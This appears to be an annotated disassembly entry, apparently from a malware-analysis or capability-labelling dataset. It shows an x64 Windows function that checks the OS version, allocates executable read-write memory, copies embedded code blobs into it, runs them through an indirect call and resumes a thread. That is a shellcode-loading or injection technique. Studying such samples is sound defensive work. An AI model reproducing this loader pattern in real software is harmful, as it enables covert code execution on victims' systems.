Function at 0x1400c9415
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
jmp 0x140105290
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, __WSAFDIsSet
rep stosb byte [rdi], al
mov dword [rbp + 0x10], __WSAFDIsSet
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x14010530f
xor eax, eax
jmp 0x140105511
cmp dword [rbp + 0x14], 5
jne 0x14010532d
cmp dword [rbp + 0x18], 2
jne 0x14010532d
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x140105511
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x14010535e
xor eax, eax
jmp 0x140105511
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x159
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x1401053a4
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140105511
mov r8d, 0x4c
lea rdx, [0x1402d9030]
mov rcx, qword [rbp + 0xc8]
call fcn.1400cbec2
mov r8d, 0x129
lea rdx, [0x1402d9080]
mov rcx, qword [rbp + 0xe8]
call fcn.1400cbec2
mov rax, qword [rbp + 0xe8]
mov qword [rax + 0x14d], 0
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x1e0]
mov qword [rax + 0x129], rcx
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x1e8]
mov qword [rax + 0x135], rcx
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x1f0]
mov qword [rax + 0x141], rcx
mov rax, qword [rbp + 0xe8]
add rax, 0x129
mov rdx, rax
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0xc8]
test eax, eax
jne 0x140105484
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x140105511
mov rax, qword [rbp + 0xe8]
cmp qword [rax + 0x14d], 0
jne 0x1401054ce
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x140105511
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rax + 0x14d]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret